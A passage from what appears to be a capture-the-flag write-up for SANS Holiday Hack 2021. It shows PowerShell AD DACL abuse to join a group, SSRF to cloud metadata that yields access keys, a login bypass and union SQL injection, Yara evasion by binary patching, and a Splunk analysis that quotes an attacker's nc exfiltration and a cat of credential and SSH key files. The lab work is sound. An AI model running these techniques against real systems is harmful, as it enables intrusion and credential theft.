When checking our DACLs on that group, we have indeed the necessary WriteDacl permission:

ActiveDirectoryRights : WriteDacl
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : ELFU\remote_elf
IsInherited;          : False
InheritanceFlags      : None
PropagationFlags      : None

So let’s add our AD user to the group. We can follow step-by-step the snippets found here. First, we grant our user the GenericAll permission on the group with:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$username = "iwtejzjzun"
$nullGUID = [guid]'00000000-0000-0000-0000-000000000000'
$propGUID = [guid]'00000000-0000-0000-0000-000000000000'
$IdentityReference = (New-Object System.Security.Principal.NTAccount("elfu.local\$username")).Translate([System.Security.Principal.SecurityIdentifier])
$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference, ([System.DirectoryServices.ActiveDirectoryRights] "GenericAll"), ([System.Security.AccessControl.AccessControlType] "Allow"), $propGUID, $inheritanceType, $nullGUID
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString
$secOptions = $domainDirEntry.get_Options()
$secOptions.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl
$domainDirEntry.RefreshCache()
$domainDirEntry.get_ObjectSecurity().AddAccessRule($ACE)
$domainDirEntry.CommitChanges()
$domainDirEntry.dispose()

Then we add our user to the group:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$username = "iwtejzjzun"
$password = "Lkgbcatah@"
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $password
$user = New-Object System.Security.Principal.NTAccount("elfu.local\$username")
$sid=$user.Translate([System.Security.Principal.SecurityIdentifier])
$b=New-Object byte[] $sid.BinaryLength
$sid.GetBinaryForm($b,0)
$hexSID=[BitConverter]::ToString($b).Replace('-','')
$domainDirEntry.Add("LDAP://<SID=$hexSID>")
$domainDirEntry.CommitChanges()
$domainDirEntry.dispose()

We can check that our user is part of the group with:

PS C:\Users\remote_elf> net user iwtejzjzun
[…]
Global Group memberships *ResearchDepartment *Domain Users

Let’s go back to the grades host and discover what’s inside the research_dep share:

PS /home/iwtejzjzun> smbclient \10.128.3.30\research_dep -U elfu\iwtejzjzun
Enter ELFU\iwtejzjzun’s password:
Try “help” to get a list of possible commands.
smb: > dir
  .   D 0 Thu Dec 2 16:39:42 2021
  ..  D 0 Mon Jan 3 08:01:29 2022
  SantaSecretToAWonderfulHolidaySeason.pdf N 173932 Thu Dec 2 16:38:26 2021

  41089256 blocks of size 1024. 33675296 blocks available

smb: > get SantaSecretToAWonderfulHolidaySeason.pdf

There is only one PDF file that we can retrieve on our host with scp. We can read the following:

SantaSecretToAWonderfulHolidaySeason.pdf
SantaSecretToAWonderfulHolidaySeason.pdf

Optionally, we could have used Bloodhound to retrieve the AD data. As the collector Sharphound is flagged by the antivirus on the Domain Controller and that it is not running properly from the grade host, a working solution is to use the Python port:

# on our box
$ git clone https://github.com/fox-it/BloodHound.py.git
$ scp -P 2222 -r ./BloodHound.py/ inmwurtvsq@grades.elfu.org:/home/inmwurtvsq/bloodhound

# then on the grade host
$ python3 bloodhound.py -dc hhc21-windows-dc.c.holidayhack2021.internal -d elfu.local -c all -u remote_elf -p A1d655f7f5d98b10! --zip

We retrieve the ZIP file with scp and load it into our Bloodhound instance. As we can see, there is no path from the user remote_elf to Domain Admin:

Bloodhound - Find Shortest Paths to Domain Admins
Bloodhound - Find Shortest Paths to Domain Admins

To find what the user remote_elf can control, we have to select it and then select First Degree Object Control to find out it can only alter the Research Department group:

Bloodhound - First Degree Object Control
Bloodhound - First Degree Object Control
Kindness

9 - Splunk!


Difficulty Objective Location
3/5 Help Angel Candysalt solve the Splunk challenge in Santa’s great hall. Fitzy Shortstack is in Santa’s lobby, and he knows a few things about Splunk. What does Santa call you when when you complete the analysis? Great Room

This year again we have a Splunk investigation challenge and as soon as we access the portal we get the following message:

Santa's To-Do List
Santa's To-Do List

We have to answer to 8 questions. Before starting the investigation, make sure to select the logs timeframe to All time.

We the answer with the following search process="git*" | top limit=1 process.

Answer: git status.

Adding a remote repository with is usually done with the command git remote add origin. By searching process="git remote add origin*partnerapi*" | top process we get the following output:

git remote add origin https://github.com/elfnp3/partnerapi.git
git remote add origin git@github.com:elfnp3/partnerapi.git

Answer: git@github.com:elfnp3/partnerapi.git.

The Docker command was probably ran from the project directory. We can use this query CurrentDirectory="*/partnerapi" CommandLine="docker*" | top CommandLine. We get only one command.

Answer: docker compose up.

There is a source type dedicated for Github JSON files called github_json. We can list the cloned repositories with the field repository.clone_url. The search is sourcetype=github_json | top repository.clone_url. We get:

If we drill-down to the repository that have alerts by adding the filter alert.html_url="*" we get only the dvws-node repository. The GitHub page mentions that this is a fork of https://github.com/snoopysecurity/dvws that itself points to a new project name https://github.com/snoopysecurity/dvws-node.

Answer: https://github.com/snoopysecurity/dvws-node

We can simply look for the command line that contain npm install in the partnerapi folder with the filter CurrentDirectory="*/partnerapi" CommandLine="*npm install*" | top CommandLine. We get four results:

node /usr/bin/npm install holiday-utils-js
node /usr/bin/npm install
/usr/bin/env node /usr/bin/npm install holiday-utils-js
/usr/bin/env node /usr/bin/npm install

Answer: holiday-utils-js.

The starting point is the following search:

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=3 user=eddie NOT dest_ip IN (127.0.0.*) NOT dest_port IN (22,53,80,443)
| stats count by dest_ip dest_port

Which gives us 2 suspicious IP addresses: 192.30.255.113 (destination port 9418) and 54.175.69.219 (destination port 16842). We can drill-down from the output and select View events for each IP address. The call to the first IP address is done by the git process. However the second IP is more shady because it is called by Netcat!

Answer: /usr/bin/nc.openbsd.

First lets find the parent process that launched Netcat. Sysmon process creation event code is 1. The following search index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 process_name="/usr/bin/nc.openbsd" returns only one event. We see that the full command line was nc -q1 54.175.69.219 16842 and that the current directory was the folder of the NPM library that was installed /home/eddie/partnerapi/node_modules/holiday-utils-js. So the library was probably backdoored. The parent process is /bin/bash with PID 6788.

The same parent PID has launched another command that can be seen with the following search index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 ParentProcessId=6788. The command is:

cat /home/eddie/.aws/credentials /home/eddie/.ssh/authorized_keys /home/eddie/.ssh/config /home/eddie/.ssh/eddie /home/eddie/.ssh/eddie.pub /home/eddie/.ssh/known_hosts

The evil process sent the content of those files (if they exist) to the attacker through Netcat.

Answer: 6.

To find that, we can simply change the previous search to use ProcessId instead of ParentProcessId. This means index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 ProcessId=6788. We have only 1 event that shows that the parent process is /bin/bash preinstall.sh.

Answer: preinstall.sh.

After answering all the question we get the following message:

Thank you for helping Santa complete his investigation! Santa says you’re a whiz!
whiz

10 - Now Hiring!


Difficulty Objective Location
3/5 What is the secret access key for the Jack Frost Tower job applications server? Brave the perils of Jack’s bathroom to get hints from Noxious O. D’or. Online

This is a webapp hacking challenge and we need to get the secret access key of the https://apply.jackfrosttower.com/ host.

Website landing page
Website landing page

The website contains mainly static content. There is only one form to apply for jobs at the Frost Tower.

Application form
Application form

There is an URL field that the application probably will query to fetch some additional data to enrich the application. This may be prone to a Server Side Request Forgery (SSRF) attack if the value is not carefully validated. Moreover, if the application runs on a cloud instance, it could be possible to query the Instance metadata service (IMDS) to retrieve secret information. Let’s give it a try.

If we specify only the Name, the only response we get is Submission Accepted. However, if we specify an URL as well, let’s say http://169.254.169.254 (the AWS IMDS endpoint), we get a different response:

Application submission
Application submission

If we look more carefully, we see that the image that is not displayed correctly, points to https://apply.jackfrosttower.com/images/<Name>.jpg. If we retrieve it with wget we see that this is a text file that contains latest. This means that the website is indeed vulnerable to SSRF and that we can query the IMDS.

Let’s retrieve the security credentials with the URL http://169.254.169.254/latest/meta-data/iam/security-credentials. We get that the instance role used is jf-deploy-role. Now we can send our final call with the URL http://169.254.169.254/latest/meta-data/iam/security-credentials/jf-deploy-role and we get the secret access key:

{
¬†¬†“Code”: “Success”,
¬†¬†“LastUpdated”: “2021-05-02T18:50:40Z”,
¬†¬†“Type”: “AWS-HMAC”,
¬†¬†“AccessKeyId”: “AKIA5HMBSK1SYXYTOXX6”,
¬†¬†“SecretAccessKey”: “CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX”,
¬†¬†“Token”: “NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==”,
¬†¬†“Expiration”: “2026-05-02T18:50:40Z”
}

Usually the next step is to use those credentials to investigate the underlying AWS account:

$ export AWS_ACCESS_KEY_ID=AKIA5HMBSK1SYXYTOXX6
$ export AWS_SECRET_ACCESS_KEY=CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX
$ export AWS_SESSION_TOKEN=NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==
$ aws sts get-caller-identity

However, this does not work here. It must be an AWS-compatible IMDS server…especially when we see that the region used is np-north-1 through the /placement/region metadata.

CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX

11 - Customer Complaint Analysis


Difficulty Objective Location
2/5 A human has accessed the Jack Frost Tower network with a non-compliant host. Which three trolls complained about the human? Enter the troll names in alphabetical order separated by spaces. Talk to Tinsel Upatree in the kitchen for hints. N/A

We get a Whireshark network capture file to analyze.

Apparently all the computers on the network send packets with Evil Bit set to 1. However, TCP streams 18 and 19 are the only streams that contain packets with the Evil Bit set to 0. This can be seen with the filter ip.flags.rb==0. Stream 19 (tcp.stream eq 19) shows the following complaint from a lady called Muffy VonDuchess Sebastian:

“name”¬†¬†¬†¬†¬†¬†¬†¬†= “Muffy VonDuchess Sebastian”
“troll_id”¬†¬†¬†¬†= “I don’t know. There were several of them.”
“guest_info”¬†¬†= “Room 1024”
“description” = “I have never, in my life, been in a facility with such a horrible staff. They are rude and insulting. What kind of place is this? You can be sure that I (or my lawyer) will be speaking directly with Mr. Frost!”

All this happended in Room 1024 so let’s use the following filter urlencoded-form matches "room.*1024" to see if some elves filed a complaint about her. We get 2 hits:

“name”¬†¬†¬†¬†¬†¬†¬†¬†= “Yaqh”
“troll_id”¬†¬†¬†¬†= “2796”
“guest_info”¬†¬†= “Snooty lady in room 1024”
“description” = “Lady call desk and ask for more towel. Yaqh take to room. Yaqh ask if she want more towel because she is like to steal. She say Yaqh is insult. Yaqh is not insult. Yaqh is Yaqh.”

“name”¬†¬†¬†¬†¬†¬†¬†¬†= “Flud”
“troll_id”¬†¬†¬†¬†= “2083”
“guest_info”¬†¬†= “Very cranky lady in room 1024”
“description” = “Lady call front desk. Complain “employee” is rude. Say she is insult and want to speak to manager. Send Flud to room. Lady say troll call her towels thief. I say stop steal towels if is bother her.”

“name”¬†¬†¬†¬†¬†¬†¬†¬†= “Hagg”
“troll_id”¬†¬†¬†¬†= “2013”
“guest_info”¬†¬†= “Incredibly angry lady in room 1024”
“description” = “Lady call front desk. I am walk by so I pick up phone. She is ANGRY and shout at me. Say she has never been so insult. I say she probably has but just didn’t hear it.”

Flud Hagg Yaqh

12 - Frost Tower Website Checkup


Difficulty Objective Location
5/5 Investigate Frost Tower’s website for security issues. This source code will be useful in your analysis. In Jack Frost’s TODO list, what job position does Jack plan to offer Santa? Ribb Bonbowford, in Santa’s dining room, may have some pointers for you. Online

Another web application hacking challenge. This time we have even access to its source code. We access https://staging.jackfrosttower.com/:

Website landing page
Website landing page

Let’s start by analyzing the source code and more specifically server.js where all the logic is found. We see that it uses Node.JS and that the following routes are available:

Route Actions Auth required
/ GET No
/testsite GET, POST No
/contact GET No
/postcontact POST No
/login GET, POST No
/logout GET No
/redirect GET Yes and No
/forgotpass GET, POST No
/forgotpass/token/:id GET, POST No
/detail/:id GET Yes
/edit/:id GET, POST Yes
/delete/:id POST Yes
/search GET, POST Yes
/export POST Yes
/dashboard GET Yes
/adduser GET, POST Yes
/userlist GET Yes
/useredit/:id GET, POST Yes
/userdelete/:id POST Yes

When looking at how the routes that require authentication are protected, we see it checks for session.uniqueID to be set. There are a few places in the code where this is set, however, there is one place where this can be set without authentication:

Bad session management
Bad session management

This means that we only have to send twice the same contact form with the same email address and we will have a valid session! So we go to https://staging.jackfrosttower.com/contact and send the form twice. The first time we get the message Data Saved to Database!, the seond time we get Email Already Exists. We then browse to one of the protected route, like /dashboard:

login bypass - dashboard
login bypass - dashboard

Now that we have access to all the features of the website, let’s analyze the rest of the source code. There are quite some SQL queries, let’s look if some are vulnerable to injections. Most of the queries look safe and are using either the escape() method to sanitize the user input or are using a kind of prepared statement (that behind the hoods uses the escape() method as well). By reading the documentation about Escaping query values, we see the following note:

Caution The string provided to mysql.raw() will skip all escaping functions when used, so be careful when passing in unvalidated input.

We find an occurence of this method in the /detail/:id route:

Vulnerable SQL query
Vulnerable SQL query

The route accepts multiple IDs as input that must be comma separated. In this case, the IDs are split and the query is reconstructed. For instance if the input is /detail/1,2 we get the query SELECT * FROM uniquecontact WHERE id=1 OR id=2 OR id=?. Later, the last ? is replaced by the value of reqparam that is 0. We can test if this is vulnerable with a basic boolean-based SQL injection:

We have different results for the 2 calls which means that the injection worked. Let’s try to make a union-based SQL injection now, this would facilitate the data dump. But we have a constraint here due to the way the query is built: we wont' be able to use , or the query will be split and will generate errors.

One way to bypass this constraint is to change the usual union select 1,2,... query to union select * from ((select 1)A join (select 2)B .... As the initial query retrieves all the columns from the table uniquecontact and that the table has a total of 7 columns, we need to have a union query with 7 values as well. We end the query by commenting whatever follows to avoid errors. The query becomes:

Union-based SQL injection
Union-based SQL injection

We see that the fields are replaced by the values of the union query. The last 2 columns being dates, the values 6 and 7 are converted to a date format (June 1st and July 1st respectively).

Now we can start dumping data. The database schema is described in the file /sql/encontact_db.sql. Let’s get some information from the users table for the users that have admin privileges. This means, users that have user_status=1. First the names:

We get only 1 account with the name Super Admin. We retrieve in the same way the email root@localhost and its encrypted password $2b$15$v8B1Z2pps1qREKNjPm..6OjGdLt4fxnD9p4ELOqOAzs1HG2w8MsSG. Fun thing, we don’t even need to crack the password, there is a way around that. Now that we have the email address, if we use the recover now option of the /login page, this will create a token that will be stored in the database and that we can retrieve through the same SQL injection. We can then use the token on the /forgotpass/token/<token> to reset the administrator password :) We can then connect with its email address as username and the password we have set to access the administration interface:

Administration interface
Administration interface

We can even add our own super admin user if we wish. However, this does not help with solving the objective. Let’s continue to discover the database.

Using the same SQL injection, let’s list the tables with the following call:

Database tables
Database tables

We get the following output users,todo,emails,uniquecontact. There is a new table todo that was not described in the schema! Let’s retrieve the columns:

Table todo columns
Table todo columns

The table has the following columns id,note,completed. Finally, let’s retrieve all the notes to validate the objective:

We get the following notes:

  • Buy up land all around Santa’s Castle
  • Build bigger and more majestic tower next to Santa’s
  • Erode Santa’s influence at the North Pole via FrostFest, the greatest Con in history
  • Dishearten Santa’s elves and encourage defection to our cause
  • Steal Santa’s sleigh technology and build a competing and way better Frosty present delivery vehicle
  • Undermine Santa’s ability to deliver presents on 12/24 through elf staff shortages, technology glitches, and assorted mayhem
  • Force Santa to cancel Christmas
  • SAVE THE DAY by delivering Frosty presents using merch from the Frost Tower Gift Shop to children world-wide… so the whole world sees that Frost saved the Holiday Season!!!! Bwahahahahaha!
  • With Santa defeated, offer the old man a job as a clerk in the Frost Tower Gift Shop so we can keep an eye on him

Only the first 3 are set as completed so far by Jack Frost!

There are as well other issues with the code that should be improved:

  • the secret to sign sessions is hardcoded in server.js
  • there is some dead code in server.js that leaks credentials to the mailtrap.io service
  • the database connection uses unsecure authentication option and no password in custom_modules/modconnection.js
clerk

13 - FPGA Programming


Difficulty Objective Location
4/5 Write your first FPGA program to make a doll sing. You might get some suggestions from Grody Goiterson, near Jack’s elevator. Frost Tower Rooftop

For the last objective, we have to program an FPGA to create square wave tones.

FPGA exercise
FPGA exercise

For that, we have access to an online simulator when we have to create this tone generator to output square waves of determined frequencies: 500Hz, 1Khz, 2Khz and random values.

FPGA online simulator
FPGA online simulator

Knowing that the FPGA used operates with a 125Mhz clock, the goal is to create a clock divider. One possible solution is the following Verilog script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
`timescale 1ns/1ns
module tone_generator (
    input clk,
    input rst,
    input [31:0] freq,
    output wave_out
);
    reg [31:0] counter;           // counter for toggling
    localparam CLK_F = 125000000; // clockfreq in Hz
    reg speaker;
    assign wave_out = speaker;
    
    always @(posedge clk or posedge rst)
    begin
        if(rst==1)
            begin
                counter <= 0;
                speaker <= 0;
            end
        else
            begin
                if (counter == 0)
                    begin
                        counter <= (CLK_F/freq)*50-1;
                        speaker <= ~speaker;
                    end
                else
                    counter <= counter - 1;
            end
    end
endmodule

Once we validate all the checks, we can click on the Program Device button to build our FPGA:

FPGA tone generator
FPGA tone generator

After that, we just need to click on the toy that is on the elf table and drag & drop the FPGA at the right place to validate the last objective.

Speak&Spell
Speak&Spell

Terminals

1 - Exif Metadata


Elf Location
Piney Sappington Courtyard

We have to find which DOCX file has been modified by Jack Frost based on the files metadata. There are 25 files to analyze. We can use exiftool for that and look for the Last Modified By metadata.

We use the following one-liner to get the answer:

$ for f in $(ls); do echo "$f " | tr -d '\n'; exiftool $f | grep -i "last modified by"; done
Terminal 1 solution
Terminal 1 solution

The answer is 2021-12-21.docx.

2 - Grepping for Gold


Elf Location
Greasy GopherGuts The North Pole

This chalenge is about grepping NMAP outputs to answer multiple questions:

Terminal 2 description
Terminal 2 description
$ grep "34.76.1.22" bigscan.gnmap
Host: 34.76.1.22 () Status: Up
Host: 34.76.1.22 () Ports: 62078/open/tcp//iphone-sync/// Ignored State: closed (999)

Answer: 62078.

$ grep "34.77.207.226" bigscan.gnmap
Host: 34.77.207.226 () Status: Up
Host: 34.77.207.226 () Ports: 8080/open/tcp//http-proxy/// Ignored State: filtered (999)

Answer: 8080.

$ grep "Status: Up" bigscan.gnmap | wc -l
26054

Answer: 26054.

$ grep -E "Ports:.*(8080/|443/|80/)" bigscan.gnmap | wc -l
14372

Answer: 14372.

The idea here is to find a line with Status: Up that does not contain the word Ports in the followin line.

$ grep -Pzo '(Status: Up.*\n)(?!.*Ports)' bigscan.gnmap | wc -l
402

// or with sed magic
$ sed '/Status: Up/!d;$!N;/\n.*Ports/!P;D' bigscan.gnmap | wc -l
402

Answer: 402.

The idea here is to filter all the lines containing Ports, split the string using comma and count the number of strings in the list.

$ grep "Ports" bigscan.gnmap | awk -F',' '{print NF}' | sort -nr| uniq
12
11
10
9
8
7
6
5
4
3
2
1

Answer: 12.

3 - Logic Munchers


Elf Location
Noel Boetie The North Pole

We need to play a game called Logic Chompers:

Logic Chompers
Logic Chompers

The goal of the game is to select all the statements that are True in a 6x5 grid. We can choose between multiple difficulties and type of statements. We have to move Chompy around the grid without being touched by Trollogs and click Space on all the True statements. Moreover, each time a Trollog moves to a new position, it changes its statement. The higher the level, the more difficult the statements are and the more Trollogs will appear on the grid and move at a faster pace.

Expert level
Expert level

To validate this challenge, we can simply play the game normally at the Intermediate level and choose the Potpourri statement type which is a mix of all the others types.

Another way to play it is to analyze the Websocket calls that are sent and received with a proxy like Burp. The first call sent contains the information about the level and style we chose. The response, contains the grid configuration as well as which positions have True statements:

Websocket call
Websocket call

We can then complete the levels more easily knowing the the list items go from top to bottom and from left to right.

4 - IPv6 Sandbox


Elf Location
Jewel Loggins Talks Lobby

The goal of this challenge is to retrieve a password stored in another host on an IPv6 network. We will have to use basic tools like netcat, nmap, ping and curl.

Terminal 4 description
Terminal 4 description

We can start by using ifconfig to get the network range we are in:

ifconfig
ifconfig

We can find other systems in our network segment with ping6 ff02::1%eth0 -c2. This is the address to multicast to all nodes on a link. We can then use ip neigh to list the neighbour table (the IPv4 equivalent of the ARP table):

Host discovery
Host dicovery

We can then use nmap to look for open ports on those hosts. Only one has open ports (the other hosts are probably of other players):

Host open ports
Host open ports

We can query the webserver with curl. Port 80 answers as follows:

Host port 80
Host port 80

The other port gives us the password we are looking for:

Host port 9000
Host port 9000

5 - Santa’s Holiday Hero


Elf Location
Chimney Scissorsticks Netwars

We have to play a game called Santa’s Holiday Hero that consists in pushing the right button when a music note reach the electric laser. The more musical notes you kill, the more you fuel Santa’s sleigh. This game must be played by default with another online player.

Santa's Holiday Hero
Santa's Holiday Hero

However, the goal here is not to play with another player but to find a way to unlock the single player mode and win the game. We get a hint that there are 2 client-side values that we must change in order to unlock this mode and one of which is passed server-side.

The first thing we see is the cookie called HOHOHO that is equal to %7B%22single_player%22%3Afalse%7D. When decoded we get {"single_player":false}. Let’s change it to {"single_player":true}. This is however not sufficient to launch the game. We can have a look at the Javascript code that runs the game. The code is found at https://hero.kringlecastle.com/assets/js/holidayhero.min.js. This is a minified version so we can use any online code beautifier to have or more readable version.

If we search for single_player we see a variable called single_player_mode = !1. We can set it to true in the browser console. Just make sure you select the iframe of the game:

Single Player Mode
Single Player Mode

We see that the user COMPUTER joins the game. We only have now to activate ON/OFF swithc and play the game till the end to win:

Single Player Mode win
Single Player Mode win

6 - HoHo … No


Elf Location
Eve Snowshoes Santa’s Office

This challenge is about Fail2Ban configuration. We need to configure it to identify and block malicious IP addresses found in /var/log/hohono.log:

Terminal 6 description
Terminal 6 description

So there are 3 pieces to configure:

  • /etc/fail2ban/jail.d/naughtylist.conf that contains under which circumstances an IP address is banned
  • /etc/fail2ban/filter.d/naughtylist.conf that defines what are the logs that constitute a fail attempts
  • /etc/fail2ban/action.d/naughtylist.conf that defines what are the actions to take to ban/unban an IP address

Let’s first create the action configuration to add and remove an IP address from the naughtylist:

[Definition]
actionban = /root/naughtylist add
actionunban = /root/naughtylist del

For the log filter, we need to have first a look at the logs and identify the failed attempts. By looking at the /var/log/hohono.log file we see the following error logs:

<timestamp> Login from <ip> rejected due to unknown user name
<timestamp> <ip> sent a malformed request
<timestamp> Invalid heartbeat '<code>' from <ip>
<timestamp> Failed login from <ip> for <user>

We can easily filter in those logs by removing all successful logs with the following command: grep -i -E -v '(success|valid)' /var/log/hohono.log
The timestamp is in the format yyyy-mm-dd hh:mm:ss and the code is a value in alpha, bravo, charlie, delta.

So the filter configuration will become:

[Definition]
failregex = Login from <HOST> rejected due to unknown user name$
           <HOST> sent a malformed request$
           Invalid heartbeat .* from <HOST>$
           Failed login from <HOST> for .*$
ignoreregex =

At this point we can test our filter to check if we have hits with the following command fail2ban-regex /var/log/hohono.log /etc/fail2ban/filter.d/naughtylist.conf. We should see something like this:

fail2ban-regex /var/log/hohono.log /etc/fail2ban/filter.d/naughtylist.conf
fail2ban-regex /var/log/hohono.log /etc/fail2ban/filter.d/naughtylist.conf

Finally we can configure the jail:

[naughtylist]
enabled  = true
filter   = naughtylist
action   = naughtylist
logpath  = /var/log/hohono.log
bantime  = 5m
findtime = 60m
maxretry = 10

We restart the service with fail2ban-client stop/fail2ban-client start and verify our jail is active with fail2ban-client status:

fail2ban-client status
fail2ban-client status

We then run /root/naughtylist refresh to reprocess the logs and we get:

Successful IP bans
Successful IP bans

7 - Yara Analysis


Elf Location
Fitzy Shortstack Entry

The goal of this challenge is to alter an executable to bypass a Yara scanner:

 Terminal 7 description
Terminal 7 description

The executable is /home/snowball2/the_critical_elf_app and when we run it we get a hit on the Yara rule 135:

$ ./the_critical_elf_app
yara_rule_135 ./the_critical_elf_app

The ruleset is found in /home/snowball2/yara_rules/rules.yar and the rule 135 is:

$ grep -A 12 “yara_rule_135 " yara_rules/rules.yar
rule yara_rule_135 {
meta:
¬†¬†description = “binaries - file Sugar_in_the_machinery”
¬†¬†author = “Sparkle Redberry”
¬†¬†reference = “North Pole Malware Research Lab”
¬†¬†date = “1955-04-21”
¬†¬†hash = “19ecaadb2159b566c39c999b0f860b4d8fc2824eb648e275f57a6dbceaf9b488”
strings:
¬†¬†¬†¬†$s = “candycane”
condition:
    $s
}

So this rule will simply trigger if the string candycane is found. So lets modify the binary with vim. Once in vim execute :%!xxd to convert it to a human-readable format. Look for the string of interest with /candy. It is found around offset 0x2000. Enter Insert mode with i and modify the first letter of the word. Make sure to modify the hex data in the left part:

Binary edit with vim
Binary edit with vim

Quit the Insert mode with esc, convert the file back to binary with :%!xxd -r and save the file with :wq. We run again the binary and this time it’s the rule 1056 that blocks the app. The rule is:

$ grep -A 12 “yara_rule_1056 " yara_rules/rules.yar
rule yara_rule_1056 {
meta:
¬†¬†description = “binaries - file frosty.exe”
¬†¬†author = “Sparkle Redberry”
¬†¬†reference = “North Pole Malware Research Lab”
¬†¬†date = “1955-04-21”
¬†¬†hash = “b9b95f671e3d54318b3fd4db1ba3b813325fcef462070da163193d7acb5fcd03”
strings:
  $s1 = {6c 6962 632e 736f 2e36}
  $hs2 = {726f 6772 616d 2121}
condition:
  all of them
}

This time 2 strings are checked in their hex form. The first string is libc.so.6 and rogram!!. The first one is the name of a library that the binary uses so we won’t be able to change it without crashing the application. Let’s modify the second string the same way we did previously.

Next rule to hit is 1732:

$ grep -A 35 “yara_rule_1732 " yara_rules/rules.yar
rule yara_rule_1732 {
meta:
¬†¬†description = “binaries - alwayz_winter.exe”
¬†¬†author = “Santa”
¬†¬†reference = “North Pole Malware Research Lab”
¬†¬†date = “1955-04-22”
¬†¬†hash = “c1e31a539898aab18f483d9e7b3c698ea45799e78bddc919a7dbebb1b40193a8”
strings:
¬†¬†$s1 = “This is critical for the execution of this program!!” fullword ascii
¬†¬†$s2 = “__frame_dummy_init_array_entry” fullword ascii
¬†¬†$s3 = “.note.gnu.property” fullword ascii
¬†¬†$s4 = “.eh_frame_hdr” fullword ascii
¬†¬†$s5 = “__FRAME_END__” fullword ascii
¬†¬†$s6 = “__GNU_EH_FRAME_HDR” fullword ascii
¬†¬†$s7 = “frame_dummy” fullword ascii
¬†¬†$s8 = “.note.gnu.build-id” fullword ascii
¬†¬†$s9 = “completed.8060” fullword ascii
¬†¬†$s10 = “_IO_stdin_used” fullword ascii
¬†¬†$s11 = “.note.ABI-tag” fullword ascii
¬†¬†$s12 = “naughty string” fullword ascii
¬†¬†$s13 = “dastardly string” fullword ascii
¬†¬†$s14 = “__do_global_dtors_aux_fini_array_entry” fullword ascii
¬†¬†$s15 = “__libc_start_main@@GLIBC_2.2.5” fullword ascii
¬†¬†$s16 = “GLIBC_2.2.5” fullword ascii
¬†¬†$s17 = “its_a_holly_jolly_variable” fullword ascii
¬†¬†$s18 = “__cxa_finalize” fullword ascii
¬†¬†$s19 = “HolidayHackChallenge{NotReallyAFlag}” fullword ascii
¬†¬†$s20 = “__libc_csu_init” fullword ascii
condition:
  uint32(1) == 0x02464c45 and filesize < 50KB and
  10 of them
}

There are 3 conditions:

  • uint32(1) == 0x02464c45 checks for this hex value at offset 1. This represents part of the ELF magic number 0x464c45 and 0x02 that defines that this is a 64-bit binary. So this cannot be changed.
  • the filesize that could eventually be changed by appending dummy data to the excutable
  • 10 of the $sxx strings must match, however, most of them relate to the binary structure or code and we cannot change them except for $s1, $s12, $s13, $s17 and $s19.

We can bypass the second condition with by appending dummy bytes to the binary with python3 -c "print('A'*50000)" >> the_critical_elf_app. Now when we run the binary, we bypass all the rules and validate the challenge:

Yara rules bypass
Yara rules bypass

If we decode (hex to ASCII) the last string, we get the message Jolly Enough, Overtime Approved.

8 - IMDS Exploration


Elf Location
Noxious O. D’or Jack’s Restroom

This challenge is about exploring the AWS Instance Metadata Service (IMDS) by going through a few guided tutorial.

$ ping 169.254.169.254
PING 169.254.169.254 (169.254.169.254) 56(84) bytes of data.
64 bytes from 169.254.169.254: icmp_seq=1 ttl=64 time=0.014 ms
64 bytes from 169.254.169.254: icmp_seq=2 ttl=64 time=0.029 ms
[…]

IMDS provides information about currently running virtual machine instances. You can use it to manage and configure cloud nodes. IMDS is used by all major cloud providers.

$ curl http://169.254.169.254
latest

Different providers will have different formats for IMDS data. We’re using an AWS-compatible IMDS server that returns latest as the default response. Access the ‘latest’ endpoint. Run curl http://169.254.169.254/latest.

$ curl http://169.254.169.254/latest
dynamic
meta-data

IMDS returns two new endpoints: dynamic and meta-data. Let’s start with the dynamic endpoint, which provides information about the instance itself. Repeat the request to access the dynamic endpoint: curl http://169.254.169.254/latest/dynamic.

$ curl http://169.254.169.254/latest/dynamic
fws/instance-monitoring
instance-identity/document
instance-identity/pkcs7
instance-identity/signature

The instance identity document can be used by developers to understand the instance details. Repeat the request, this time requesting the instance-identity/document resource: curl http://169.254.169.254/latest/dynamic/instance-identity/document.

$ curl http://169.254.169.254/latest/dynamic/instance-identity/document
{
¬†¬†“accountId”: “PCRVQVHN4S0L4V2TE”,
¬†¬†“imageId”: “ami-0b69ea66ff7391e80”,
¬†¬†“availabilityZone”: “np-north-1f”,
¬†¬†“ramdiskId”: null,
¬†¬†“kernelId”: null,
¬†¬†“devpayProductCodes”: null,
¬†¬†“marketplaceProductCodes”: null,
¬†¬†“version”: “2017-09-30”,
¬†¬†“privateIp”: “10.0.7.10”,
¬†¬†“billingProducts”: null,
¬†¬†“instanceId”: “i-1234567890abcdef0”,
¬†¬†“pendingTime”: “2021-12-01T07:02:24Z”,
¬†¬†“architecture”: “x86_64”,
¬†¬†“instanceType”: “m4.xlarge”,
¬†¬†“region”: “np-north-1”
}

